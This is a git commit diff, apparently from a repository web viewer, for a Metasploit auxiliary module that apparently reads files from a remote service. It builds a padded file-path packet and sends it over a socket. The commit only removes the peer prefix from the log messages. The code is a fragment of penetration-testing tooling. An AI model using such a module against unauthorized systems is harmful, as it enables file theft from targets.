Update module to remove references to print peer
parent
eec950801e
commit
53f1338ad0
|
@ -46,12 +46,12 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
def get_file
|
def get_file
|
||||||
res = sock.get_once
|
res = sock.get_once
|
||||||
unless res
|
unless res
|
||||||
print_error("#{peer} - Unable to retrieve file due to a timeout.")
|
print_error("Unable to retrieve file due to a timeout.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
unless res.length == 261
|
unless res.length == 261
|
||||||
print_error("#{peer} - Received a response of an invalid size.")
|
print_error("Received a response of an invalid size.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -61,7 +61,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
contents << sock.get_once
|
contents << sock.get_once
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("#{peer} - File retrieved successfully (#{contents.length} bytes)!")
|
print_status("File retrieved successfully (#{contents.length} bytes)!")
|
||||||
contents
|
contents
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -77,7 +77,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
packet << "\x00" * (255 - file_path.length)
|
packet << "\x00" * (255 - file_path.length)
|
||||||
packet << "\x01\x00\x00\x00\x01"
|
packet << "\x01\x00\x00\x00\x01"
|
||||||
|
|
||||||
vprint_status("#{peer} - Sending request (#{packet.length} bytes)")
|
vprint_status("Sending request (#{packet.length} bytes)")
|
||||||
connect
|
connect
|
||||||
sock.put(packet)
|
sock.put(packet)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue